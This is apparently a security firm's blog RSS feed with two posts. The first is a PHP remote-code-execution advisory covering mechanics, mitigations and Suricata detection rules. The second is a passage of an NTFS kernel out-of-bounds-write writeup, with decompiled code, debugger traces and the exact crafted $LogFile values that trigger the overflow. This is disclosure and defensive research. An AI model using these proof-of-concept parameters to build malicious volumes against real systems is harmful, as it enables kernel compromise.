<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>PT ESC</title>
	<atom:link href="https://ptesc.tech/en/feed/" rel="self" type="application/rss+xml" />
	<link>https://ptesc.tech/en/</link>
	<description></description>
	<lastBuildDate>Fri, 23 Oct 2026 15:56:09 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.1.3</generator>

<image>
	<url>https://ptesc.tech/wp-content/uploads/2026/09/cropped-cropped-large_icon-32x32.png</url>
	<title>PT ESC</title>
	<link>https://ptesc.tech/en/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Another super-duper vulnerability threatens the whole world</title>
		<link>https://ptesc.tech/en/another-super-duper-vulnerability-threatens-the-whole-world/</link>
		
		<dc:creator><![CDATA[global_author]]></dc:creator>
		<pubDate>Fri, 23 Oct 2026 15:41:00 +0000</pubDate>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[php]]></category>
		<guid isPermaLink="false">https://ptesc.tech/?p=1902</guid>

					<description><![CDATA[On October 21, two critical PHP vulnerabilities were disclosed — CVE-2026-109618 and CVE-2026-109619, both with a CVSS score of 9.2. Their exploitation allows unauthenticated code execution with the privileges of the web server. PHP version…]]></description>
										<content:encoded><![CDATA[<p>On October 21, two critical PHP vulnerabilities were disclosed — <a href="https://nvd.nist.gov/vuln/detail/cve-2026-109618" rel="noopener" target="_blank">CVE-2026-109618</a> and <a href="https://nvd.nist.gov/vuln/detail/cve-2026-109619" rel="noopener" target="_blank">CVE-2026-109619</a>, both with a CVSS score of 9.2. Their exploitation allows unauthenticated code execution with the privileges of the web server.</p>
<p>PHP versions from 5.4 onward can be considered vulnerable. Interestingly, the vulnerabilities were found with the help of AIs (Gemini 4 Argon + GPT-5.6 Sol), and the patch is more than 10 thousand lines of code.</p>
<figure class="wp-block-image"><img decoding="async" width="1024" height="746" src="https://ptesc.tech/wp-content/uploads/2026/10/photo_640@23-10-2026_18-41-42-1024x746.jpg" class="attachment-large size-large" alt="" loading="lazy" /></figure>
<h3>What the vulnerability is</h3>
<p>The attacker&#8217;s main goal is to trigger a fatal error, such as out-of-memory (OOM), at the right moment while the PHP interpreter is processing an incoming web request.</p>
<p>The CVEs are related to PHP potentially mistakenly treating a new data array that has not yet been initialized due to an OOM error as initialized. This means that an attacker, by spamming PHP memory with specially crafted requests, can cause the same memory region to be freed and allocated for different arrays.</p>
<p>As a result, due to the OOM error, the fields and pointers of a data array were not initialized in time, and they ended up containing data from previous requests controlled by the attacker. And when freeing memory after the error, PHP will call array cleanup functions at addresses controlled by the attacker. That is why exploiting these two vulnerabilities requires serious preparation and large HTTP requests.</p>
<blockquote>
<p><strong>Important:</strong> due to the ASLR address randomization mechanism, the attacker needs to achieve a memory leak in order to learn the address of a function, for example <code>system()</code>.</p>
</blockquote>
<h3>How exactly exploitation occurs</h3>
<p>Since the source of the vulnerability lies deep and is related to the memory free and allocation mechanisms in PHP, there are several ways to exploit it.</p>
<h5>1. x-www-form-urlencoded forms</h5>
<p>The amount of memory allocated during PHP processing here is achieved through the great nesting depth of form parameters <code>(...[x])</code>. PHP accounts for a new array element even before it is populated, and copying a long name while processing an HTTP request can exceed <code>memory_limit</code>, causing out-of-memory.</p>
<p>When cleaning up the array, PHP mistakes the planted bytes for a ready-made element. By placing a fake array in the right memory region and substituting a function address into it, the attacker can force PHP to call it during cleanup.</p>
<h5>2. Tracking file uploads</h5>
<p>During a multipart upload with upload progress tracking enabled via the PHP_SESSION_UPLOAD_PROGRESS parameter, PHP writes the upload status to the session — the visitor&#8217;s data store between requests. Many empty file fields with nested names also cause a huge amount of memory to be allocated and an OOM error.</p>
<p>After OOM, the memory may be freed but the pointer to it retained. The next request via upload progress may access it again — this is use-after-free (UAF). If the request lands in the same process that survived the crash, the memory may already contain the attacker&#8217;s data.</p>
<blockquote>
<p><strong>Important:</strong> since the attacker can directly influence the structure of the PHP session data, in one of the requests they manage to trigger a PHP memory leak via the <code>Set-Cookie: PHPSESSID=</code> header, which allows bringing the exploitation through to command execution.</p>
</blockquote>
<h4>3. Crash report in PHP 8.5.</h4>
<p>When the <code>fatal_error_backtraces</code> flag is enabled (enabled by default), PHP saves the list of functions that were executing at the moment of the fatal error. After the request completes, the memory of the list is freed, but the pointer remains. The error message at the start of the next request causes PHP to access it again, triggering another <code>use-after-free</code>.</p>
<p>New reports and PoCs for these vulnerabilities appear every day, which makes creating detections for their exploitation even more difficult. However, to successfully exploit and execute malicious code, the attacker needs to learn the exact addresses of functions (for example, <code>system</code>).</p>
<p>A full exploit that executes malicious code is so far known only for the method using the <code>PHP_SESSION_UPLOAD_PROGRESS</code> parameter.</p>
<figure class="wp-block-image"><img decoding="async" width="1024" height="362" src="https://ptesc.tech/wp-content/uploads/2026/10/photo_641@23-10-2026_18-41-42-1024x362.jpg" class="attachment-large size-large" alt="" loading="lazy" /></figure>
<h3>Network artifacts</h3>
<p>The only known full attack chain so far has an obvious artifact — the <code>PHP_SESSION_UPLOAD_PROGRESS</code> parameter in the request body. Successful exploitation may be indicated by an unusually long <code>PHPSESSID</code> value in the response containing URL-encoded memory bytes.</p>
<p>Although the <code>PHP_SESSION_UPLOAD_PROGRESS</code> parameter itself can also be used in ordinary requests, in practice we have not encountered this parameter in network requests.</p>
<blockquote>
<p><strong>Important:</strong> there is no single mandatory network marker for all exploitation variants.</p>
</blockquote>
<h3>What is known about the attacks</h3>
<p>Amazon specialists <a href="https://aws.amazon.com/blogs/security/amazon-threat-intelligence-identifies-php2shell-exploitation-prior-to-public-disclosure-in-madpot/" rel="noopener" target="_blank">recorded</a> attempted attacks as early as October 17. After the vulnerabilities were disclosed, the number of attack attempts in Cloudflare&#8217;s network grew to millions, according to the company&#8217;s head.</p>
<h3>How to fix</h3>
<p>Update PHP to 8.2.35, 8.3.36, 8.4.27, 8.5.12, or a newer fixed version of your branch.</p>
<p>Until you update, the following PHP settings will help reduce the risk:</p>
<ul>
<li><code>session.upload_progress.enabled=0</code> — blocks the known chains via upload progress;</li>
<li><code>fatal_error_backtraces=0</code> — blocks the corresponding path on PHP 8.5;</li>
<li>request size and complexity limits on the web server or reverse proxy.</li>
</ul>
<p>The settings must take effect before the request is parsed: set them in <code>php.ini</code> or the server configuration.</p>
<p>For <a href="https://nvd.nist.gov/vuln/detail/cve-2026-109618" rel="noopener" target="_blank">CVE-2026-109618</a>, the PHP developers also suggest setting <code>memory_limit=-1</code> with external memory limits at the container/cgroup level. This is a partial measure: a system-level memory allocation failure can still lead to the vulnerable path.</p>
<p><strong>Only updating PHP fully fixes both vulnerabilities.</strong></p>
<h3>Suricata signatures</h3>
<pre><code>alert http any any -&gt; any any (msg: &quot;ATTACK [PTsecurity] Possible PHP RCE Exploitation attempt. PHP upload progress in multipart request (PHP2Shell, CVE-2026-109618, CVE-2026-109619)&quot;; flow: established, to_server; http.content_type; content: &quot;multipart/form-data&quot;; startswith; nocase; http.request_body; content: &quot;PHP_SESSION_UPLOAD_PROGRESS&quot;; threshold: type limit, track by_src, count 1, seconds 300; reference: cve, 2026-109618; reference: cve, 2026-109619; reference: url, wiz.io/blog/php2shell-php-rce; classtype: attempted-admin; sid: 10018633; rev: 1;)

alert http any any -&gt; any any (msg: &quot;ATTACK [PTsecurity] Successful PHP RCE Exploitation. PHPSESSID memory leak (PHP2Shell, CVE-2026-109619)&quot;; flow: established, to_client; http.header.raw; content: &quot;Set-Cookie|3a|&quot;; nocase; content: &quot;PHPSESSID=&quot;; nocase; distance: 0; content: &quot;%&quot;; distance: 0; pcre: &quot;/Set-Cookie\x3a[\x20\x09]*PHPSESSID\x3d(?:[^\x3b\x25\r\n\x20\x09]{0,64}\x25(?:[0189a-f][0-9a-f]|7f)){12}/im&quot;; threshold: type limit, track by_dst, count 1, seconds 300; reference: cve, 2026-109619; reference: url, wiz.io/blog/php2shell-php-rce; classtype: successful-admin; sid: 10018632; rev: 3;)</code></pre>
<p><span class="hashtag">#cve</span> <span class="hashtag">#php</span></p>
<p><a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Out-of-bounds write in ntfs!PageUpdateAnalysis</title>
		<link>https://ptesc.tech/en/out-of-bounds-write-in-ntfspageupdateanalysis/</link>
		
		<dc:creator><![CDATA[author_vr]]></dc:creator>
		<pubDate>Wed, 07 Oct 2026 11:19:42 +0000</pubDate>
				<category><![CDATA[Vulnerability Research]]></category>
		<category><![CDATA[escvr]]></category>
		<guid isPermaLink="false">https://ptesc.tech/?p=1111&#038;preview=true&#038;preview_id=1111</guid>

					<description><![CDATA[BDUPTCVE2025-124652026-26902026-20840 Summary A heap buffer overflow vulnerability exists in the ntfs!PageUpdateAnalysis function of the Microsoft Windows NTFS driver. A specially crafted NTFS volume can cause an out-of-bounds write into ke…]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>BDU</th><th>PT</th><th>CVE</th></tr></thead><tbody><tr><td><a href="https://bdu.fstec.ru/vul/2025-12465">2025-12465</a></td><td><a href="https://dbugs.ptsecurity.com/vulnerability/PT-2026-2690?fts%5Bvalue%5D=CVE-2026-20840">2026-2690</a></td><td><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20840">2026-20840</a></td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Summary</h3>



<p class="wp-block-paragraph">A heap buffer overflow vulnerability exists in the <code>ntfs!PageUpdateAnalysis</code> function of the Microsoft Windows NTFS driver. A specially crafted <code>NTFS</code> volume can cause an out-of-bounds write into kernel <code>NonPagedPoolNx</code> memory during log recovery. An attacker can trigger this vulnerability by causing an affected Windows system to mount a volume containing malicious <code>$LogFile</code> records. The resulting kernel memory corruption may lead to denial of service, privilege escalation, or arbitrary kernel code execution.</p>



<h3 class="wp-block-heading">Confirmed Vulnerable Versions</h3>



<p class="wp-block-paragraph"><code>ntfs.sys.10.0.22621.5037</code></p>



<h3 class="wp-block-heading">Product URLs</h3>



<p class="wp-block-paragraph">Microsoft Windows — <a href="https://www.microsoft.com/windows">https://www.microsoft.com/windows</a></p>



<h3 class="wp-block-heading">CWE</h3>



<p class="wp-block-paragraph">CWE-787 — Out-of-bounds Write</p>



<h3 class="wp-block-heading">Details</h3>



<p class="wp-block-paragraph"><code>NTFS</code> is the primary file system used by Microsoft Windows. Its metadata journal, <code>$LogFile</code>, contains records used to restore file system consistency after interrupted operations.</p>



<p class="wp-block-paragraph"><code>ntfs!AnalysisPass</code> implements the analysis phase of <code>NTFS</code> restart recovery, preceding the redo and undo phases. It scans log records from the most recent checkpoint and reconstructs recovery state, including transaction and dirty page tables. These tables track outstanding transactions and metadata pages whose updates may not have reached disk, allowing subsequent recovery phases to determine which operations require replay or rollback.</p>



<p class="wp-block-paragraph"><code>ntfs!PageUpdateAnalysis</code> processes page-update records during this analysis phase. The mount stack context is:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; gutter: false; title: ; notranslate">
0: kd&gt; k
 # Child-SP          RetAddr               Call Site
00 ffffcd8a`59bc5e08 fffff804`27ae0f6f     Ntfs!PageUpdateAnalysis
01 ffffcd8a`59bc5e10 fffff804`27b45000     Ntfs!AnalysisPass+0x22b
02 ffffcd8a`59bc5f30 fffff804`27acc3be     Ntfs!NtfsRestartVolume+0xbc
03 ffffcd8a`59bc60a0 fffff804`27ac9f86     Ntfs!NtfsMountVolume+0x1816
04 ffffcd8a`59bc67e0 fffff804`2793e639     Ntfs!NtfsCommonFileSystemControl+0xb6
05 ffffcd8a`59bc68c0 fffff804`9478b7ec     Ntfs!NtfsFspDispatch+0x619
06 ffffcd8a`59bc6a10 fffff804`94931afa     nt!ExpWorkerThread+0x5ec
07 ffffcd8a`59bc6bf0 fffff804`94b4ef84     nt!PspSystemThreadStartup+0x5a
08 ffffcd8a`59bc6c40 00000000`00000000     nt!KiStartSystemThread+0x34

</pre></div>


<p class="wp-block-paragraph"><code>NTFS</code> stores dirty page entries in a flat <code>RESTART_TABLE</code> allocation in <code>NonPagedPoolNx</code>. Each entry contains an array of logical cluster numbers (LCNs), with capacity determined by the entry size:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: plain; title: ; notranslate">
DIRTY_PAGE_ENTRY (simplified):
  +0x00  AllocatedMarker   DWORD   (-1 indicates an in-use entry)
  +0x04  TargetAttribute   USHORT
  +0x08  LengthOfTransfer  ULONG
  +0x0C  LcnsToFollow      ULONG
  +0x10  StartingVcn       8-byte virtual cluster number
  +0x18  OldestLsn         8-byte log sequence number
  +0x20  LcnsForPage&#x5B;]     Array of 8-byte LCN values

</pre></div>


<p class="wp-block-paragraph">Table allocation is performed during <code>ntfs!InitializeRestartState</code> when <code>DirtyPageTable</code> is loaded from the image. </p>



<p class="wp-block-paragraph">In <code>ntfs!PageUpdateAnalysis</code>, after <code>ntfs!FindDirtyPage</code> returns an existing entry, <code>ntfs!PageUpdateAnalysis</code> copies <strong>LCN</strong> values from the incoming log record into that entry.</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
// ntfs!PageUpdateAnalysis
if ( !FindDirtyPage(a4, (unsigned __int16)CurrentLogRecord-&gt;TargetAttribute, CurrentLogRecord-&gt;TargetVcn, &amp;v20) ) {
    ... // entry not found
}
while ( 1 ) {
    result = (unsigned __int16)CurrentLogRecord-&gt;LcnsToFollow;
    if ( v8 &gt;= (unsigned int)result ) // v8 is i
      break;
    v20-&gt;LcnsForPage&#x5B;LODWORD(CurrentLogRecord-&gt;TargetVcn) + v8 - LODWORD(v20-&gt;Vcn)] = CurrentLogRecord-&gt;LcnsForPage&#x5B;v8];
    ++v8;
}
return result;

</pre></div>


<p class="wp-block-paragraph">The analyzed binary contains the following code corresponding to the decompiled listing that you can see above:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
1c025844c  cmp  esi, eax
1c025844e  jnb  loc_1C025846F
1c0258455  mov  rdx, &#x5B;rsp+...]       ; DirtyPage entry
1c025845a  sub  ecx, &#x5B;rdx+10h]       ; subtract StartingVcn, low 32 bits
1c025845d  add  ecx, &#x5B;r13+18h]       ; add TargetVcn, low 32 bits
1c0258461  mov  rax, &#x5B;r13+r8*8+20h]  ; LogRecord-&gt;LcnsForPage&#x5B;i]
1c0258466  mov  &#x5B;rdx+rcx*8+20h], rax ; unchecked destination write
1c025846b  inc  esi
1c025846d  jmp  short loc_1C0258447

</pre></div>


<p class="wp-block-paragraph">The effective destination index is calculated using 32-bit arithmetic:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
Index = i + TargetVcn - StartingVcn

</pre></div>


<p class="wp-block-paragraph"><code>ntfs!FindDirtyPage</code> matches an entry when <code>StartingVcn &lt;= TargetVcn &lt; StartingVcn + LcnsToFollow</code>:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
char __fastcall FindDirtyPage(
        My_RESTART_POINTERS *a1,
        int TargetAttribute,
        signed __int64 Vcn,
        My_DIRTY_PAGE_ENTRY **DirtyPage)
{
  My_DIRTY_PAGE_ENTRY *i; // rax
  __int64 v9; // rdx

  if ( !a1-&gt;Table )
    return 0;
  for ( i = (My_DIRTY_PAGE_ENTRY *)NtfsGetFirstRestartTable(a1);
        ;
        i = (My_DIRTY_PAGE_ENTRY *)NtfsGetNextRestartTable((__int64)a1, (__int64)i) )
  {
    if ( !i )
    {
      *DirtyPage = 0LL;
      return 0;
    }
    if ( i-&gt;TargetAttribute == TargetAttribute )
    {
      v9 = i-&gt;Vcn; // v9 is a starting VCN
      if ( Vcn &gt;= v9 &amp;&amp; Vcn &lt; v9 + (unsigned int)i-&gt;LcnsToFollow )
        break;
    }
  }
  *DirtyPage = i;
  return 1;
}

</pre></div>


<p class="wp-block-paragraph">This establishes that the starting cluster lies within the entry, but does not establish that the complete incoming range fits. For <code>TargetVcn = StartingVcn + k</code>, the loop writes to indices <code>k</code> through <code>k + LcnsToFollow - 1</code>. The array overflows when:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: plain; title: ; notranslate">
k + LcnsToFollow &amp;gt; ClustersPerPage

</pre></div>


<p class="wp-block-paragraph">The resize check in <code>ntfs!PageUpdateAnalysis</code> only considers whether <code>LcnsToFollow &gt; ClustersPerPage</code>. It does not account for the destination offset <code>k</code>. Consequently, a record whose LCN count fits the nominal capacity can still overflow the destination array.</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: plain; title: ; notranslate">
// ntfs!PageUpdateAnalysis
...
if ( Table ) {
    ClustersPerPage = (((unsigned __int64)(unsigned __int16)Table-&amp;gt;EntrySize - 40) &amp;gt;&amp;gt; 3) + 1;
}
else {
    ClustersPerPage = a2-&amp;gt;ClustersPerPage;
    NtfsInitializeRestartTable(8 * ClustersPerPage + 32, 0x20u, a2-&amp;gt;RestartVersion &amp;gt;= 2u, 0, a4);
}
LcnsToFollow = (unsigned __int16)CurrentLogRecord-&amp;gt;LcnsToFollow;
if ( LcnsToFollow &amp;gt; ClustersPerPage ) {
    ClustersPerPage = (unsigned __int16)CurrentLogRecord-&amp;gt;LcnsToFollow;
    NtfsInitializeRestartTable(
      8 * LcnsToFollow + 32,
      (unsigned __int16)a4-&amp;gt;Table-&amp;gt;NumberEntries,
      a2-&amp;gt;RestartVersion &amp;gt;= 2u,
      0,
      &amp;amp;Resource); // resize
    ...
}
...

</pre></div>


<p class="wp-block-paragraph">No destination bounds check precedes the write, either in the <code>ntfs!PageUpdateAnalysis</code> function or in <code>ntfs!InitializeRestartState</code>. Incidentally, <code>ntfs!InitializeRestartState</code> accepts <code>DirtyPageTable</code> data as is when the <code>MajorVersion</code> of <code>$LogFile</code> is not zero.</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
// ntfs!InitializeRestartState
...
if ( RestartArea-&gt;DirtyPageTableLength )
  {
    restarted = (My_RESTART_TABLE *)ReadRestartTable(
                                      IrpContext,
                                      Vcb,
                                      RestartArea-&gt;DirtyPageTableLsn,
                                      &amp;Leb,
                                      &amp;RestartAreaLength);
    ExAcquireResourceExclusiveLite(&amp;DirtyPageTable-&gt;Resource, 1u);
    v80 = 1;
    Table = DirtyPageTable-&gt;Table;
    if ( RestartArea-&gt;MajorVersion ) // MajorVersion check
    {
      ExFreePoolWithTag(DirtyPageTable-&gt;Table, 0);
      DirtyPageTable-&gt;Table = 0;
      v26 = RestartAreaLength;
      v27 = (My_RESTART_TABLE *)ExAllocatePoolWithTag((POOL_TYPE)528, RestartAreaLength, &#039;RFtN&#039;);
      DirtyPageTable-&gt;Table = v27;
      memmove(v27, restarted, v26); // data from image has been accepted here
      DirtyPageTable-&gt;Table-&gt;field_A = DirtyPageTable-&gt;Table-&gt;NumberAllocated;
      ExAcquireResourceExclusiveLite(&amp;DirtyPageTable-&gt;Resource, 1u);
      v80 = 1;
      LODWORD(restarted) = 0;
    }
    else
    {
      ...
    }
    ...
}

</pre></div>


<h3 class="wp-block-heading">Proof of Concept</h3>



<p class="wp-block-paragraph">When the crafted volume is mounted, <code>NTFS</code> performs the following operations:</p>



<ol class="wp-block-list">
<li><code>ntfs!InitializeRestartState</code> reads the serialized <code>DirtyPageTable</code> from <code>$LogFile</code>.</li>



<li>Because the restart area has a nonzero <code>MajorVersion</code>, the complete table is copied into a newly allocated <code>NonPagedPoolNx</code> buffer.</li>



<li><code>ntfs!AnalysisPass</code> begins scanning at the crafted checkpoint.</li>



<li>The next record is the crafted <code>UpdateResidentValue</code> record.</li>



<li>The incoming <code>LcnsToFollow</code> value is 8, equal to <code>ClustersPerPage</code>, so the table-resizing path is not taken.</li>



<li><code>ntfs!PageUpdateAnalysis</code> calls <code>ntfs!FindDirtyPage</code> with <code>TargetAttribute = 0x18</code> and <code>TargetVcn = 7</code>.</li>



<li><code>ntfs!FindDirtyPage</code> selects slot <strong>31</strong> because its range is <code>[0, 8)</code> and therefore contains <strong>VCN </strong>7.</li>



<li>The vulnerable copy writes the eight supplied <strong>LCN </strong>values beginning at destination index seven.</li>
</ol>



<p class="wp-block-paragraph">The PoC crafts restart area uses <code>MajorVersion = 2</code>. This causes <code>Ntfs!InitializeRestartState</code> to allocate a buffer for the serialized <code>DirtyPageTable</code> and copy the table from the image without rebuilding its entries.</p>



<p class="wp-block-paragraph">The PoC creates a <code>RESTART_TABLE</code> with the following properties:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
EntrySize       = 0x60
NumberEntries   = 32
NumberAllocated = 32

</pre></div>


<p class="wp-block-paragraph">Each entry contains eight LCN slots:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
EntrySize = 0x20 + 8 * sizeof(LCN)
          = 0x20 + 8 * 8
          = 0x60

</pre></div>


<p class="wp-block-paragraph">All 32 entries are marked as allocated, preventing <code>ntfs!PageUpdateAnalysis</code> from selecting or creating a free slot. Entries zero through 30 use distinct <strong>VCN</strong> ranges that do not match the triggering record. The final entry, slot 31, is configured as follows:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
AllocatedMarker  = 0xffffffff
TargetAttribute  = 0x18
LengthOfTransfer = 0x1000
StartingVcn      = 0
LcnsToFollow     = 8
LcnsForPage      = {1, 2, 3, 4, 5, 6, 7, 8}

</pre></div>


<p class="wp-block-paragraph">Because slot 31 is the final entry, data written beyond its <strong>LCN</strong> array also extends beyond the complete <code>RESTART_TABLE</code> allocation. The table allocation has the following size:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
sizeof(RESTART_TABLE) + NumberEntries * EntrySize
= 0x18 + 32 * 0x60
= 0xc18 (3096 bytes)

</pre></div>


<p class="wp-block-paragraph">On the snippet below you may see how <code>DirtyPageTable</code> is initialized in runtime as well as part of data corresponded to layout described above.</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
0: kd&gt; p
rax=0000000000000001 rbx=ffffe180efdf0200 rcx=ffffe180efdefaa8
rdx=0000000000000000 rsi=ffff8f8d3514b7c8 rdi=ffffe180efdeff90
rip=fffff80628a95792 rsp=ffffe180efdefb70 rbp=ffffe180efdf08f0
 r8=ffff8f8d385def01  r9=ffff8f8d385deae0 r10=0000000000000000
r11=ffffe180efdefb68 r12=ffffe180efdefe00 r13=0000000000000000
r14=0000000000000001 r15=ffff8f8d357c81b0
iopl=0         nv up ei pl zr na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246
Ntfs!InitializeRestartState+0x51e:
fffff806`28a95792 4539542438      cmp     dword ptr &#x5B;r12+38h],r10d ds:002b:ffffe180`efdefe38=00000c18
...
1: kd&gt; p
rax=0000000000000000 rbx=0000000000000c18 rcx=0000000000000210
rdx=0000000000000c18 rsi=ffff8f8d3514b7c8 rdi=ffffe180efdeff90
rip=fffff80628a95942 rsp=ffffe180efdefb70 rbp=ffffe180efdf08f0
 r8=000000005246744e  r9=0000000000000000 r10=0000000000000000
r11=0000000000000001 r12=ffffe180efdefe00 r13=ffffcd0fd11c0158
r14=0000000000000001 r15=ffff8f8d357c81b0
iopl=0         nv up ei pl zr na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246
Ntfs!InitializeRestartState+0x6ce:
fffff806`28a95942 48ff158f0ae7ff  call    qword ptr &#x5B;Ntfs!_imp_ExAllocatePoolWithTag (fffff806`289063d8)] 
...
1: kd&gt; p
rax=ffff8f8d385d03e0 rbx=0000000000000c18 rcx=ffff8f8d385d03e0
rdx=ffffcd0fd11c0158 rsi=ffff8f8d3514b7c8 rdi=ffffe180efdeff90
rip=fffff80628a9595e rsp=ffffe180efdefb70 rbp=ffffe180efdf08f0
 r8=0000000000000c18  r9=0000000000000080 r10=0000000000000000
r11=ffffe180efdefae0 r12=ffffe180efdefe00 r13=ffffcd0fd11c0158
r14=0000000000000001 r15=ffff8f8d357c81b0
iopl=0         nv up ei ng nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040286
Ntfs!InitializeRestartState+0x6ea:
fffff806`28a9595e e8ddf1e1ff      call    Ntfs!memcpy (fffff806`288b4b40)
1: kd&gt; db ffffcd0fd11c0158
ffffcd0f`d11c0158  60 00 20 00 20 00 00 00-00 00 00 00 00 00 00 00  `. . ...........
ffffcd0f`d11c0168  00 00 00 00 00 00 00 00-ff ff ff ff 18 00 00 00  ................
ffffcd0f`d11c0178  00 10 00 00 08 00 00 00-00 10 00 00 00 00 00 00  ................
ffffcd0f`d11c0188  2b 94 a8 00 00 00 00 00-01 00 00 00 00 00 00 00  +...............
ffffcd0f`d11c0198  02 00 00 00 00 00 00 00-03 00 00 00 00 00 00 00  ................
ffffcd0f`d11c01a8  04 00 00 00 00 00 00 00-05 00 00 00 00 00 00 00  ................
ffffcd0f`d11c01b8  06 00 00 00 00 00 00 00-07 00 00 00 00 00 00 00  ................
ffffcd0f`d11c01c8  08 00 00 00 00 00 00 00-ff ff ff ff 18 00 00 00  ................

</pre></div>


<p class="wp-block-paragraph">The triggering record uses the <code>UpdateResidentValue</code> redo operation, which is dispatched to <code>ntfs!PageUpdateAnalysis</code>:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
RedoOperation   = 0x07
UndoOperation   = 0x02
TargetAttribute = 0x18
TargetVcn       = 7
LcnsToFollow    = 8
ClientDataLength = 0x60

</pre></div>

<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
1: kd&gt; p
rax=ffff8f8d356279e8 rbx=0000000000a8942b rcx=0000000000000000
rdx=ffff8f8d356279e8 rsi=ffff8f8d357c85d8 rdi=00000000000000e0
rip=fffff80628a30f1c rsp=ffffe180efdefe10 rbp=ffffe180efdf08f0
 r8=ffffffffffffff01  r9=ffff8f8d35625000 r10=0000000000000001
r11=ffff8f8d356279b8 r12=ffffe180efdeff90 r13=ffff8f8d357c81b0
r14=ffff8f8d3514b7c8 r15=ffffcd0fd11ca188
iopl=0         nv up ei pl nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040202
Ntfs!AnalysisPass+0x1d8:
fffff806`28a30f1c 410fb70f        movzx   ecx,word ptr &#x5B;r15] ds:002b:ffffcd0f`d11ca188=0007
1: kd&gt; p
rax=ffff8f8d356279e8 rbx=0000000000a8942b rcx=0000000000000007
rdx=ffff8f8d356279e8 rsi=ffff8f8d357c85d8 rdi=00000000000000e0
rip=fffff80628a30f20 rsp=ffffe180efdefe10 rbp=ffffe180efdf08f0
 r8=ffffffffffffff01  r9=ffff8f8d35625000 r10=0000000000000001
r11=ffff8f8d356279b8 r12=ffffe180efdeff90 r13=ffff8f8d357c81b0
r14=ffff8f8d3514b7c8 r15=ffffcd0fd11ca188
iopl=0         nv up ei pl nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040202
Ntfs!AnalysisPass+0x1dc:
fffff806`28a30f20 83f912          cmp     ecx,12h
... // some optimized switch-case related code is here 
0: kd&gt; p
rax=ffff8f8d356279e8 rbx=0000000000a8942b rcx=ffff8f8d3514b7c8
rdx=ffff8f8d357c81b0 rsi=ffff8f8d357c85d8 rdi=00000000000000e0
rip=fffff80628a30f6a rsp=ffffe180efdefe10 rbp=ffffe180efdf08f0
 r8=0000000000a8942b  r9=ffffe180efdeff90 r10=0000000000000001
r11=ffff8f8d356279b8 r12=ffffe180efdeff90 r13=ffff8f8d357c81b0
r14=ffff8f8d3514b7c8 r15=ffffcd0fd11ca188
iopl=0         nv up ei pl zr na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246
Ntfs!AnalysisPass+0x226:
fffff806`28a30f6a e8f1080000      call    Ntfs!PageUpdateAnalysis (fffff806`28a31860)

</pre></div>


<p class="wp-block-paragraph">The destination indices are calculated as follows:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
Index = i + TargetVcn - StartingVcn = i + 7 - 0 = i + 7

</pre></div>


<p class="wp-block-paragraph">For <code>i = 0..7</code>, the resulting indices are:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
7, 8, 9, 10, 11, 12, 13, 14

</pre></div>


<p class="wp-block-paragraph">Index seven is the final valid element. Indices eight through fourteen are outside the entry:</p>



<p class="wp-block-paragraph">Because the selected entry is slot 31, these seven <strong>LCN</strong> values extend 56 bytes beyond the end of the complete 3096 byte restart-table allocation. </p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
1: kd&gt; p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000008
rdx=0000000000000001 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a3198f rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
